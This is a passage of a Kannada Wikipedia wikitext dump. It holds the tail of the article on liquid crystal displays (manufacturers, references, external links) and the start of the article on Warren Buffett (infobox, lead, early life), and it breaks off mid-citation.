ತುದಿಯಲ್ಲಿ ಬರುತ್ತಿದ್ದು, ಪ್ರತಿ ಚದರ ಇಂಚ್‌ಗೆ 0.14 ವ್ಯಾಟ್‌ಗಳನ್ನು ಉಪಯೋಗಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.energy.ca.gov/2008publications/CEC-400-2008-028/CEC-400-2008-028-SD.PDF |title=Draft Efficiency Standards for Television |format=PDF |date=December 2008 |publisher=California Energy Commission |accessdate=2009-05-31}}</ref> ಬಿಸ್ಟೇಬಲ್ ಪ್ರದರ್ಶನಗಳು ನಿಗದಿತ ಚಿತ್ರವನ್ನು ಪ್ರದರ್ಶಿಸುವಾಗ ಯಾವುದೇ ವಿದ್ಯುತ್‌ಅನ್ನು ಬಳಸುವುದಿಲ್ಲ, ಆದರೆ ಪ್ರದರ್ಶಿತ ಚಿತ್ರವು ಬದಲಾಗುವಾಗ ಅದಕ್ಕೆ ಗಮನಾರ್ಹವಾದ {{Citation needed|date=September 2009}}ವಿದ್ಯುತ್ ಅಗತ್ಯವಾಗಿರುತ್ತದೆ. == ತಯಾರಕರು == <div> * [[ಆಲ್ಫಾ]] * [[ಒ3 ಕಮ್ಯೂನಿಕೇಷನ್ ಶ್ರೀನಗರ್]] * [[ಮೋಸರ್‌ಬಿಯರ್]] * [[3ಎಮ್]] * [[ಏಸರ್]] * [[ಎಒಸಿ]] * [[ಆ‍ಯ್‌ಪಲ್]] * [[ಅಸುಸ್ಟೆಕ್(ASUSTek)]] * [[ಎಯು ಆಪ್ಟ್ರೋನಿಕ್ಸ್]] * [[ಬ್ಯಾಂಗ್ &amp; ಒಲುಫ್ಸೆನ್]] * [[ಬಾರ್ಕೊ]] * [[ಬೆನ್‌ಕ್ಯೂ]] * [[ಬೊ ಹೈಡಿಸ್]] (ಮುಂಚೆ ಹುಂಡೈ ಡಿಸ್‌ಪ್ಲೇಸ್ ಕೊರಿಯಾ) * [[ಚಿ ಮಿ ಆಫ್ಟೊಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್]] * [[ಕೂಲ್‌ಟಚ್ ಮಾನಿಟರ್ಸ್]] * [[Corning Inc.]] * [[ಏಯ್ಜೊ]] * [[ಈಪ್ಸನ್]] * [[ಫುಜಿಟ್ಸು]] * [[ಹ್ಯಾನ್ಸೊಲ್]] * [[ಹಿಟಾಚಿ]] * [[ಹೆಚ್‌ಪಿ]] * [[ಐಯಾಮಾ]] * [[ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಡಿಸ್ಪ್ಲೇ ವರ್ಕ್ಸ್]] * [[ಜೆವಿಸಿ]] * [[ಕ್ಯೊಸೆರಾ]] * [[ಲೆನೊವಾ]] * [[ಎಲ್‌ಜಿ ಡಿಸ್‌ಪ್ಲೇ]] * [[ಎಲ್‌ಎಕ್ಸ್‌ಡಿ ಇನ್‌ಕಾರ್ಪೊರೆಟೆಡ್]] * [[ಮೆಡಿಯಾನ್]] * [[ಎನ್‌ಇಸಿ ಡಿಸ್‌ಪ್ಲೇ ಸೊಲ್ಯುಷನ್ಸ್]] * [[ಪ್ಯಾನಾಸೋನಿಕ್]] (ಮುಂಚೆ ಮಾಟ್ಸುಶಿತಾ) * [[ಪೋಲಾರಾಯ್ಡ್ ಕಾರ್ಪೊರೇಷನ್]] * [[ಪವರ್‌ಲೈಟ್]] * [[ಪ್ರೊಸ್ಕ್ಯಾನ್]] * [[ಆರ್‌ಸಿಎ]] * [[ಸ್ಯಾನ್ ಟೆಕ್ನಾಲಜಿ]] * [[ಸ್ಯಾಮ್‌‍ಸಂಗ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್]] * [[ಶಾರ್ಪ್‌ ಕಾರ್ಪೊರೇಷನ್‌]] * [[ಎಸ್-ಎಲ್‌ಸಿಡಿ]] * [[ಸೋನಿ]] * [[ಸೊಯೊ]] * [[ಟೆಕೊ]] * [[ತೊಶಿಬಾ]] * [[ಯುಎಸ್‌ಇಆಯ್]] * ವರಿಟ್ರೊನಿಕ್ಸ್ ಲಿಮಿಟೆಡ್ * [[ವಿಡಿಯೊಕಾನ್]] * [[ವಿವ್ಯೂಸೋನಿಕ್]] * [[ವಿಜಿಯೊ]] * [[ವಿನ್‌ಟೆಕ್]] * [[ಜೆರಾಕ್ಸ್]] </div> == ಇದನ್ನೂ ಗಮನಿಸಿ == * [[ಬ್ಯಾಕ್‍ಲೈಟ್]] * [[ಡಿಜಿಟಲ್ ವಿಡಿಯೊ ರೆಕಾರ್ಡರ್]] (DVR)ಅದು ಎಲ್‌ಸಿಡಿ ಟಿವಿಯನ್ನು ಒಳಗೊಂಡಿದೆ. * [[ಸ್ಕ್ರೀನ್ ಪ್ರೊಟೆಕ್ಟರ್]] * [[ಟ್ರಾನ್ಸ್‌ಫ್ಲೆಕ್ಟಿವ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೇ]] * [[1:1 pixel mapping]] === ಡಿಸ್‌ಪ್ಲೇ ಅಪ್ಲಿಕೇಷನ್ಸ್ === * [[ದೂರದರ್ಶನ]] ಮತ್ತು [[ಡಿಜಿಟಲ್ ದೂರದರ್ಶನ]] * [[ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ದೂರದರ್ಶನ]](ಎಲ್‍ಸಿಡಿ ಟಿವಿ) * [[ಎಲ್‍ಸಿಡಿ ಪ್ರೊಜೆಕ್ಟರ್]] * [[ಗಣಕಯಂತ್ರ ಪ್ರದರ್ಶಕ]] * ವಿಮಾನ ಉಪಕರಣ ಪ್ರದರ್ಶನಗಳು ([[ಗ್ಲಾಸ್ ಕುಕ್‍ಪಿಟ್]] ನೋಡಿ) * [[ಹೆಚ್‌ಡಿ44780 ಲಕ್ಷಣದ ಎಲ್‌ಸಿಡಿ]]ಯು ಸಣ್ಣ ಎಲ್‌ಸಿಡಿಗಾಗಿ ಶಿಷ್ಟಾಚಾರವನ್ನು ವಿಶಾಲವಾಗಿ ಒಪ್ಪಿಕೊಂಡಿದೆ. == ಆಕರಗಳು == {{reflist}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{External links|date=June 2009}} * [http://solutions.3m.com/wps/portal/3M/en_US/Vikuiti1/BrandProducts/secondary/optics101/ 3Mನ ಎಲ್‌ಸಿಡಿ ತಂತ್ರಜ್ಞಾನದ ಆ‍ಯ್‌ನಿಮೇಟೆಡ್ ಬೋಧನೆ] * [http://www.lcdinterfacing.info/Interface-Nokia-6610-LCD.php ಕಲರ್ ಎಲ್‌ಸಿಡಿ ಇಂಟರ‍್ಫೇಸಿಂಗ್] {{Webarchive|url=https://web.archive.org/web/20091110133407/http://www.lcdinterfacing.info/Interface-Nokia-6610-LCD.php |date=2009-11-10 }}, ಸೂಕ್ಷ್ಮ ನಿಯಂತ್ರಕವಿರುವ ಎಲ್‌ಸಿಡಿ ಇಂಟರ್‌ಫೇಸಿಂಗ್ {{Commons category|Liquid Crystal Displays}} * [http://nobelprize.org/educational_games/physics/liquid_crystals/history/ Nobilprize.org ನಿಂದ ದ್ರವ ರೂಪ ಸ್ಫಟಿಕದ ಇತಿಹಾಸ ಮತ್ತು ಭೌತಿಕ ಸ್ವತ್ತುಗಳು] {{Webarchive|url=https://web.archive.org/web/20090830015819/http://nobelprize.org/educational_games/physics/liquid_crystals/history/ |date=2009-08-30 }} * [http://www.iupac.org/publications/pac/2001/7305/7305x0845.html ಲೊ-ಮೊಲಾರ್-ಮಾಸ್ ಮತ್ತು ಪೊಲಿಮರ್ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ‌ಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ಮೂಲ ನಿಯಮಗಳ ವ್ಯಾಖ್ಯಾನಗಳು (ಐಯುಪಿಎಸಿ ರೆಕಮಂಡೇಷನ್ಸ್ 2001)] * ಕೇಸ್ ವೆಸ್ಟ್ರನ್ ರಿಸರ್ವ್ ಯುನಿವರ‍್ಸಿಟಿಯ [http://plc.cwru.edu/tutorial/enhanced/files/textbook.htm ಆ‍ಯ್‌ನ್ ಇಂಟೆಲಿಜೆಬಲ್ ಇಂಟ್ರುಡಕ್ಷನ್ ಟು ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ] * ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಕೊಲೊರಾಡೊದ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ‌ ಗ್ರೂಪ್‌ನಿಂದ [http://bly.colorado.edu/lcphysics.html ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ಭೌತಿಕ ಶಿಕ್ಷಣ] * ಆಕ್ಸ್‌ಫರ್ಡ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಟೆಕ್ನಾಲಜಿ ಗ್ರೂಪ್‌ನ [http://www.eng.ox.ac.uk/lc/introduction/intro_1.html ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ‌ದ ಪರಿಚಯ] {{Webarchive|url=https://web.archive.org/web/20080702193851/http://www.eng.ox.ac.uk/lc/introduction/intro_1.html |date=2008-07-02 }} * [http://www.elis.ugent.be/ELISgroups/lcd/lc/lc.php ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್ & ಪೊಟೊನಿಕ್ಸ್ ಗ್ರೂಪ್- ಘೆಂಟ್ ಯುನಿವರ್ಸಿಟಿ (ಬೆಲ್ಜಿಯಂ)] {{Webarchive|url=https://web.archive.org/web/20070613163026/http://www.elis.ugent.be/ELISgroups/lcd/lc/lc.php |date=2007-06-13 }}, ಉತ್ತಮ ಬೋಧನೆ * ಟೈಲರ್ ಮತ್ತು ಫ್ರಾನ್ಸಿಸ್‌ರ ನಿಯತಕಾಲಿಕೆ [http://www.tandf.co.uk/journals/titles/02678292.asp ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್] * ಟೈಲರ್ ಮತ್ತು ಫ್ರಾನ್ಸಿಸ್‌ರಿಂದ [http://www.tandf.co.uk/journals/titles/15421406.asp ಮಾಲಿಕ್ಯೂಲಾರ್ ಕ್ರಿಸ್ಟಲ್ಸ್ ಮತ್ತು ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್] ನಿಯತಕಾಲಿಕೆ * [http://www.acceleratedanalysis.com/LC_hotspotdetection_procedure.html ಅಯ್ ಸಿ' ಎಸ್ ಗೆ ಹಾಟ್-ಸ್ಪಾಟ್ ಪತ್ತೇದಾರಿಕೆ ತಂತ್ರಗಳು ] {{Webarchive|url=https://web.archive.org/web/20090211050934/http://www.acceleratedanalysis.com/LC_hotspotdetection_procedure.html |date=2009-02-11 }} * [http://www.mc2.chalmers.se/mc2/pl/lc/engelska/frame.html ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ ಯಾವುವು?] {{Webarchive|url=https://web.archive.org/web/20060216155202/http://www.mc2.chalmers.se/mc2/pl/lc/engelska/frame.html |date=2006-02-16 }} ಸ್ವೀಡನ್‌ನ ಚಾಲ್ಮರ್ಸ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಟೆಕ್ನಾಲಜಿಯಿಂದ. * [http://www.lcdenclosure.co.uk/nema.html ಎಲ್‌ಸಿಡಿ ಡಿಸ್‌ಪ್ಲೇ NEMA (ನೇಮ) ಗುಣಮಟ್ಟ] * [http://www.lcdtvenclosure.com/nema-standards.html ಎಲ್‌ಸಿಡಿ ಎನ್‌ಕ್ಲೋಷರ್ಸ್‌ಗಾಗಿ NEMA ಮಾಹಿತಿ ] {{Webarchive|url=https://web.archive.org/web/20090711162308/http://www.lcdtvenclosure.com/nema-standards.html |date=2009-07-11 }} === ಸಾಮಾನ್ಯ ಮಾಹಿತಿ === {{External links|date=July 2009}} * [http://www.maxi-pedia.com/TFT+LCD+display+monitor+panel ಟಿಎಫ್‌ಟಿ ಎಂದರೇನು ಮತ್ತು ಅದು ಹೇಗೆ ಕೆಲಸ ಮಾಡುತ್ತದೆ], ಹೊಸಬರಿಗಾಗಿ ಟಿಎಫ್‌ಟಿ ಎಲ್‌ಸಿಡಿ. * [http://www.auo.com/auoDEV/content/technology/technology_tftprocess_popup_en.htm ಎಲ್‌ಸಿಡಿಗಳನ್ನು ಹೇಗೆ ಮಾಡಲಾಗಿದೆ], ಎಯುಒದಿಂದ (ಎಲ್‌ಸಿಡಿ ಉತ್ಪಾದಕ) ಚರ್ಚಾತ್ಮಕ ಪ್ರದರ್ಶನ. * [http://www.vega.org.uk/video/programme/25 ಡೆವಲಪ್‌ಮೆಂಟ್ ಆಫ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್ ಡಿಸ್‌ಪ್ಲೇಸ್: ಇಂಟರ್‌ವ್ಯೂ ವಿತ್ ಜಾರ್ಜ್ ಗ್ರೇ, ಹಲ್ ಯೂನಿವರ್ಸಿಟಿ, 2004] – ವೆಗಾ ಸೈನ್ಸ್ ಟ್ರಸ್ಟ್‌ನಿಂದ ವಿಡಿಯೊ. * [http://www.maths.soton.ac.uk/staff/Sluckin/crystals_that_flow/homepage.htm ಹಿಸ್ಟರಿ ಆಫ್ ಕ್ರಿಸ್ಟಲ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20070605072401/http://www.maths.soton.ac.uk/staff/Sluckin/crystals_that_flow/homepage.htm |date=2007-06-05 }}: ಸಹ-ಲೇಖಕ ತಿಮೊಥಿ ಜೆ.ಸ್ಲಕಿನ್‌ ಅವರ ''ಕ್ರಿಸ್ಟಲ್ಸ್ ದಟ್ ಫ್ಲೋ: ಕ್ಲಾಸಿಕ್ ಪೇಪರ್ಸ್ ಫ್ರಂ ದ ಹಿಸ್ಟರಿ ಆಫ್ ಕ್ರಿಸ್ಟಲ್ಸ್'' ಪುಸ್ತಕದ ಪ್ರಸ್ತುತಿ ಮತ್ತು ಅದರ ಆಯ್ದ ಭಾಗ * {{cite web |url=http://www.xbitlabs.com/articles/other/display/lcd-parameters.html |accessdate=2008-05-17 |title=Contemporary LCD Monitor Parameters: Objective and Subjective Analysis |publisher=X-bit labs |date=2007-01-23 |author=Oleg Artamonov |archive-date=2008-05-16 |archive-url=https://web.archive.org/web/20080516153719/http://www.xbitlabs.com/articles/other/display/lcd-parameters.html |url-status=dead }} * [http://www.presentationtek.com/2006/09/21/3lcd-microdisplay-technology/ 3ಎಲ್‌ಸಿಡಿ ತಂತ್ರಜ್ಞಾನದ ಸಮಗ್ರ ನೋಟ] {{Webarchive|url=https://web.archive.org/web/20061113234540/http://www.presentationtek.com/2006/09/21/3lcd-microdisplay-technology/ |date=2006-11-13 }}, ಪ್ರೆಸೆಂಟೆಷನ್ ಟೆಕ್ನಾಲಜಿ * [http://www.diamondhmi.co.uk/pages.cfm?ID=4&amp;Sub=44 ಎಲ್‌ಸಿಡಿ ಮಾಡ್ಯೂಲ್ ಟೆಕ್ನಿಕಲ್ ರಿಸೋರ್ಸಸ್ ಆ‍ಯ್0ಡ್ ಅಪ್ಲಿಕೇಷನ್ ನೋಟ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20090926220405/http://www.diamondhmi.co.uk/pages.cfm?ID=4&Sub=44 |date=2009-09-26 }}, ಡೈಮಂಡ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ * [http://www.techmind.org/lcd/phasexplan.html ಎಲ್‌ಸಿಡಿ ಫೇಸ್ ಮತ್ತು ಕ್ಲಾಕ್ ಅಡ್ಜಸ್ಟ್‌ಮೆಂಟ್], ಎಲ್‌ಸಿಡಿಸ್ "ಆಟೊ-ಟ್ಯೂನ್" ಕಾರ್ಯಚಟುವಟಿಕೆಗಿಂತ ಅತ್ಯುತ್ತಮ ಎಲ್‌ಸಿಡಿ ಚಿತ್ರದ ಗುಣಮಟ್ಟವನ್ನು ಪಡೆಯಲು ಫ್ರೀ ಟೆಸ್ಟ್ ಸ್ಕ್ರೀನ್‌ ಅನ್ನು ಟೆಕ್‌ಮೈಂಡ್ ನೀಡುತ್ತದೆ. * [http://pcsupport.about.com/od/maintenance/ht/cleanflatscreen.htm ಹೌ ಟು ಕ್ಲೀನ್ ಯುವರ್ ಎಲ್‌ಸಿಡಿ ಸ್ಕ್ರೀನ್] About.com: ಪಿಸಿ ಸಪೊರ್ಟ್ * [http://www.tftcentral.co.uk ಟಿಎಫ್‌ಟಿ ಸೆಂಟ್ರಲ್‌] ಎಲ್‌ಸಿಡಿ ಮಾನಿಟರ್ ವಿಮರ್ಶೆಗಳು, ನಿರ್ದಿಷ್ಟ ವಿವರಣೆ, ಲೇಖನಗಳು ಮತ್ತು ಸುದ್ದಿಗಳು * [http://www.flatpanelshd.com ಫ್ಲಾಟ್‌ಪ್ಯಾನಲ್ಸ್‌ಹೆಚ್‌ಡಿ - ಫ್ಲಾಟ್ ಪ್ಯಾನಲ್ ಮಾನಿಟರ್ಸ್ ಮತ್ತು ಟಿವಿಗಳ ಮಾರ್ಗದರ್ಶಿ]- ಎಲ್‌ಸಿಡಿ ಮಾನಿಟರ್ ಮತ್ತು ಎಲ್‌ಸಿಡಿ-ಟಿವಿ ವಿಮರ್ಶೆಗಳು, ಲೇಖನಗಳು ಮತ್ತು ಸುದ್ದಿಗಳು * [http://www.dnatechindia.com/index.php/Tutorials/8051-Tutorial/Interfacing-LCD.html ಮೈಕ್ರೊಕಂಟ್ರೋಲರ್‌ಗೆ ಅಂತರ್‌ಸಂಪರ್ಕ ಸಾಧನ ಆಲ್ಫಾನ್ಯುಮರಿಕ್ ಎಲ್‌ಸಿಡಿ.] * [http://solutions.3m.com/wps/portal/3M/en_US/Vikuiti1/BrandProducts/secondary/optics101/ ಆ‍ಯ್‌ನಿಮೇಷನ್ಸ್‌ ವಿವರಿಸುವ ಎಲ್‌ಸಿಡಿ ಪ್ಯಾನಲ್‌ಗಳ ಕಾರ್ಯ ] {{Display Technology}} {{DEFAULTSORT:Liquid Crystal Display}} [[ವರ್ಗ:ಡಿಸ್‌ಪ್ಲೇ ತಂತ್ರಜ್ಞಾನ]] [[ವರ್ಗ:ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ]] [[ವರ್ಗ:ಗಣಕಯಂತ್ರ]] 40tbyevg5hap7tdbt8l00bhc71lmvki ವಾರೆನ್‌ ಬಫೆಟ್‌‌‌ 0 22468 1116453 1062018 2022-08-23T12:57:12Z InternetArchiveBot 69876 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{short description|ಉದ್ಯಮಿ}} {{Infobox Person | name = Warren Buffett | image = Warren Buffett KU Visit.jpg | image_size = 270px | caption=Buffett speaking to students from the Kansas University School of Business, May 6, 2005 | birth_name = Warren Edward Buffett | birth_place = {{birth date and age|1930|8|30}}<br />[[Omaha, Nebraska]], U.S. | nationality = American | alma_mater = [[University of Pennsylvania]] <br /> [[University of Nebraska–Lincoln]] <br /> [[Columbia University]] | occupation = Chairman & CEO, [[Berkshire Hathaway]] | salary = US$100,000<ref>{{cite web|url=http://www.forbes.com/lists/2006/12/C0R3.html |title=Warren E Buffett, CEO Compensation |publisher=Forbes.com |date=2006-03-30 |accessdate=2009-02-23}}</ref> | networth = {{loss}} US$37 [[1,000,000,000 (number)|billion]] (2009)<ref name="Forbes_2009">http://www.forbes.com/lists/2009/10/billionaires-2009-richest-people_Warren-Buffett_C0R3.html</ref> | spouse = [[Susan Buffett|Susan Thompson Buffett]] (Deceased) (1932–2004) (her death),<br />Astrid Menks (2006–)<ref>{{cite news |url=https://www.nytimes.com/2006/09/01/business/01buffett.html |title=How Does Warren Buffett Get Married? Frugally, It Turns Out |date=2006-09-01 |work=[[ದ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್]] |accessdate=2008-05-20}}</ref> | children = [[Susan Alice Buffett]],<br />[[Howard Graham Buffett]],<br />[[Peter Andrew Buffett]] | website = | footnotes = }} '''ವಾರೆನ್‌ ಎಡ್ವರ್ಡ್‌‌ ಬಫೆಟ್‌‌‌''' ರು (ಜನನ ಆಗಸ್ಟ್‌ 30, 1930) ಓರ್ವ [[ಅಮೇರಿಕನ್‌]] [[ಹೂಡಿಕೆದಾರ]], [[ಉದ್ಯಮಿ]], ಹಾಗೂ [[ಲೋಕೋಪಕಾರಿಯಾಗಿದ್ದಾರೆ]]. ಅವರು ಇದುವರೆಗಿನ ಇತಿಹಾಸದಲ್ಲೇ ಅತ್ಯಂತ ಯಶಸ್ವಿ ಹೂಡಿಕೆದಾರರಾಗಿದ್ದು, [[ಬರ್ಕ್‌ಷೈರ್‌ ಹಾಥ್‌ವೇ]]ನ<ref name="investopedia">{{cite web |url=http://www.investopedia.com/university/greatest/warrenbuffett.asp |title=The Greatest Investors: Warren Buffett |publisher=[[Investopedia.com]] |accessdate=2009-03-06}}</ref> [[ಅಗ್ರ ಷೇರುದಾರರು]] ಮತ್ತು [[CEO]] ಆಗಿದ್ದಾರಲ್ಲದೇ 2008ರಲ್ಲಿ ''[[ಫೋರ್ಬ್ಸ್‌]]'' ನಿಂದ ಸರಿಸುಮಾರು $62 ಶತಕೋಟಿಯಷ್ಟು<ref>http://www.forbes.com/2008/03/05/richest-people-billionaires-billionaires08-cx_lk_0305billie_land.html</ref> ಅಂದಾಜು [[ನಿವ್ವಳ ಆದಾಯ]]ವನ್ನು ಹೊಂದಿರುವ ವಿಶ್ವದಲ್ಲೇ ಅತ್ಯಂತ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿಯಾಗಿದ್ದರು. 2009ರಲ್ಲಿ, ಅನೇಕ ಶತಕೋಟಿ ಡಾಲರ್‌ಗಳನ್ನು ದತ್ತಿಗಳಿಗೆ ದಾನ ಮಾಡಿದ ನಂತರ, ಬಫೆಟ್‌‌ ‌ನಿವ್ವಳ $40 ಶತಕೋಟಿಗಳಷ್ಟು ಆದಾಯದೊಂದಿಗೆ ಯುನೈಟೆಡ್‌ ಸ್ಟೇಟ್ಸ್‌‌ನ ಎರಡನೇ ಅತ್ಯಂತ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿಯಾಗಿದ್ದಾರೆ.<ref>{{Cite web |url=http://www.nydailynews.com/money/work_career/2009/10/01/2009-10-01_bill_gates_warren_buffett_lawrence_ellison_top_2009s_forbes_400_richest_american.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-02-04 |archive-date=2009-10-04 |archive-url=https://web.archive.org/web/20091004005306/http://www.nydailynews.com/money/work_career/2009/10/01/2009-10-01_bill_gates_warren_buffett_lawrence_ellison_top_2009s_forbes_400_richest_american.html |url-status=dead }}</ref><ref>http://www.usatoday.com/news/nation/2006-06-25-buffett-charity_x.htm</ref> ಕೇವಲ [[ಬಿಲ್‌ ಗೇಟ್ಸ್‌]] ಮಾತ್ರವೇ ಪ್ರಸ್ತುತ ಬಫೆಟ್‌‌ರಿಗಿಂತ ಉತ್ತಮ ಶ್ರೇಯಾಂಕವನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಬಫೆಟ್‌‌‌ರನ್ನು ಸಾಮಾನ್ಯವಾಗಿ "ಒಮಾಹಾನ ದೈವವಾಣಿ" ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ<ref>{{cite journal| first=Alex|last=Markels| title=How to Make Money the Buffett Way| journal=[[U.S. News & World Report]]| date=2007-07-29| url=http://www.usnews.com/usnews/biztech/articles/070729/6intro.htm}}</ref> ಅಥವಾ "ಒಮಾಹಾದ ವೇದಾಂತಿ"<ref>{{cite journal| first=Aline|last=Sullivan| title=Buffett, the Sage of Omaha, Makes Value Strategy Seem Simple: Secrets of a High Plains Investor| journal=[[International Herald Tribune]]| date=1997-12-20| url=http://www.iht.com/articles/1997/12/20/mbuff.t.php|archiveurl=https://web.archive.org/web/20100830082127/http://www.iht.com/articles/1997/12/20/mbuff.t.php|archivedate=2010-08-30}}</ref> ಎನ್ನಲಾಗುತ್ತದಲ್ಲದೇ [[ಮೌಲ್ಯಯುತ ಹೂಡಿಕೆ]] ಸಿದ್ಧಾಂತಕ್ಕೆ ಬದ್ಧರಾಗಿರುವುದು ಹಾಗೂ ತಮ್ಮ ವೈಯಕ್ತಿಕ [[ಮಿತವ್ಯಯಿತ್ವ]] ತನ್ನಲ್ಲಿರುವ ಅಪಾರ [[ಐಶ್ವರ್ಯ]]ದ ಹೊರತಾಗಿಯೂ ಪಾಲಿಸುವ ವಿಚಾರಗಳಿಗೆ ಪ್ರಸಿದ್ಧರಾಗಿದ್ದಾರೆ.<ref>{{cite news |url=http://www.msnbc.msn.com/id/18555690/ |publisher=[[MSNBC]] |title=What Warren Buffett might buy |author=Gogoi, Pallavi |date=2007-05-08 |accessdate=2007-05-09 |archive-date=2007-05-10 |archive-url=https://web.archive.org/web/20070510011754/http://www.msnbc.msn.com/id/18555690/ |url-status=dead }}</ref> ಬಫೆಟ್‌‌‌ರು ತಮ್ಮ ಐಶ್ವರ್ಯದ ಪ್ರತಿಶತ 85ರಷ್ಟನ್ನು [[ಗೇಟ್ಸ್‌‌ ಪ್ರತಿಷ್ಠಾನ]]ಕ್ಕೆ ದಾನ ಮಾಡಲು ವಾಗ್ದಾನ ಮಾಡಿರುವಂತಹಾ ಗಮನಾರ್ಹ ಲೋಕೋಪಕಾರಿಯೂ ಹೌದು. [[ಗ್ರಿನ್ನೆಲ್‌ ಮಹಾವಿದ್ಯಾಲಯ]]ದಲ್ಲಿ ವಿಶ್ವಸ್ಥ ಮಂಡಲಿಯ ಸದಸ್ಯರಾಗಿಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ.<ref>{{cite web|accessdate=2008-05-20|url=http://www.grinnell.edu/offices/president/trustee/memberintro/buffett/|title=Warren E. Buffett 1968; Life Trustee 1987|publisher=[[Grinnell College]]|archive-date=2008-08-29|archive-url=https://web.archive.org/web/20080829183506/http://www.grinnell.edu/offices/president/trustee/memberintro/buffett/|url-status=dead}}</ref> 1999ರಲ್ಲಿ, ಕಾರ್ಸನ್‌ ಗ್ರೂಪ್‌ ಸಂಸ್ಥೆಯು ನಡೆಸಿದ ಸಮೀಕ್ಷೆಯಲ್ಲಿ, [[ಪೀಟರ್‌ ಲಿಂಚ್‌‌]] ಮತ್ತು [[ಜಾನ್‌ ಟೆಂಪಲ್‌ಟನ್‌‌]]ರನ್ನು ಹಿಂದಿಕ್ಕಿ ಇಪ್ಪತ್ತನೇ ಶತಮಾನದ ಅತ್ಯುತ್ತಮ ವಿತ್ತ ನಿರ್ವಾಹಕರಾಗಿ ಬಫೆಟ್‌ ಹೊರಹೊಮ್ಮಿದರು.<ref name="findarticles.com">{{cite web|accessdate=2008-05-20|url=http://findarticles.com/p/articles/mi_m0EIN/is_1999_Nov_22/ai_57747902|title=Warren Buffett and Peter Lynch Voted Top Money Managers of the Century|publisher=[[Business Wire]]|date=1999-11-22}}</ref> 2007ರಲ್ಲಿ, ''[[ಟೈಮ್‌]]'' ಪತ್ರಿಕೆಯ ವಿಶ್ವದ [[100 ಅತ್ಯಂತ ಪ್ರಭಾವಿ ವ್ಯಕ್ತಿಗಳ]] ಪಟ್ಟಿಯಲ್ಲಿ ಅವರ ಹೆಸರನ್ನು ದಾಖಲಿಸಲಾಗಿತ್ತು.<ref>{{cite news|accessdate=2008-05-20|url=http://www.time.com/time/subscriber/2004/time100/builders/100buffett.html|title=Warren Buffett|publisher=[[Time (magazine)|Time]]|author=Cramer, James J.|archive-date=2008-05-17|archive-url=https://web.archive.org/web/20080517062554/http://www.time.com/time/subscriber/2004/time100/builders/100buffett.html|url-status=dead}}</ref> == ಬಾಲ್ಯ ಜೀವನ == ಬಫೆಟ್‌‌‌ ನೆಬ್ರಾಸ್ಕಾದ ಒಮಾಹಾದಲ್ಲಿ, ಉದ್ಯಮಿ/ರಾಜಕಾರಣಿ [[ಹೋವರ್ಡ್‌ ಬಫೆಟ್‌‌]] ಹಾಗೂ ಲೇಲಾ/ಲೈಲಾ (ನೀ ಸ್ಟಾಹ್ಲ್‌/née Stahl) ದಂಪತಿಗಳ ಏಕೈಕ ಸುಪುತ್ರರಾಗಿ ಹಾಗೂ ಮೂರು ಮಕ್ಕಳಲ್ಲಿ ಎರಡನೆಯವರಾಗಿ ಜನಿಸಿದರು.<ref>http://www.usatoday.com/money/2004-01-29-nebraska_x.htm</ref> ಆತ ತನ್ನ ಅಜ್ಜನ ಕಿರಾಣಿ ಅಂಗಡಿಯಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದರು. 1943ರಲ್ಲಿ, ಬಫೆಟ್, ಬೈಸಿಕಲ್‌/ಸೈಕಲ್ ಹಾಗೂ ಕೈಗಡಿಯಾರಗಳ ವೆಚ್ಚವನ್ನು ವೃತ್ತಪತ್ರಿಕೆ ಹಂಚುವ ಹುಡುಗನಾಗಿ ಕಾರ್ಯನಿರ್ವಹಣೆಯ ವೆಚ್ಚವೆಂದು‌ $35ನ್ನು ಮುರಿದುಕೊಂಡು ತಮ್ಮ ಪ್ರಪ್ರಥಮ ಆದಾಯ ತೆರಿಗೆ ದಾಖಲೆಗಳನ್ನು ಸಲ್ಲಿಸಿದರು‌‌‌.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/business/7280569.stm|title=Buffett 'becomes world's richest'|accessdate=2008-05-20|publisher=BBC}}</ref> ಶಾಸನಸಭೆಗೆ ಆತನ ತಂದೆ ಆಯ್ಕೆಯಾದ ನಂತರ, ಬಫೆಟ್‌ರಿಗೆ‌‌, ವಾಷಿಂಗ್ಟನ್‌, D.C<ref>{{cite web|accessdate=2008-05-20|url=http://www.nti.org/b_aboutnti/b1t.html|title=Warren E. Buffett|publisher=[[Nuclear Threat 